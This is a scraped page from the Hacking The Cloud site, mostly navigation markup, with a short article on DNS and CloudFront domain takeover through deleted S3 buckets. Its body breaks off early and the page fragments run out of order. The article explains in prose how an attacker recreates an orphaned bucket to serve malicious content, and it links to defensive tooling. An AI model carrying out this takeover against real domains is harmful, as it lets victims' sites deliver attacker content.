Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Houston Hopkins</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=dns-and-cloudfront-domain-takeover-via-deleted-s3-buckets>DNS and CloudFront Domain Takeover via Deleted S3 Buckets<a class=headerlink href=#dns-and-cloudfront-domain-takeover-via-deleted-s3-buckets title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <p><a href=https://web.archive.org/web/20231210202023/https://blog.lightspin.io/discover-dangling-domains-that-point-to-your-cloud-assets-to-prevent-subdomain-takeover>Discover Dangling Domains that point to your cloud assets to prevent subdomain takeover</a></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/domain-protect/domain-protect>domain-protect</a>: OWASP Domain Protect - prevent subdomain takeover. </p> </li> </ul> </div> <p>Utilizing various techniques for recon and enumeration, an attacker can discover orphaned Cloudfront distributions or DNS Records that are attempting to serve content from an S3 bucket that no longer exists. If an adversary finds one of these, they can create an S3 bucket in their own account and use it to serve malicious content. This content would then be distributed by the victim, and appear to be legitimate by an outside observer.</p> <div class="admonition info"> <p class=admonition-title>Note</p> <p>Previously, calls to a CloudFront distribution backed by an S3 bucket that was deleted would result in a <code>NoSuchBucket</code> error. For example:</p> <div class=highlight><pre><span></span><code>&lt;Error&gt;
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#dns-and-cloudfront-domain-takeover-via-deleted-s3-buckets class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a 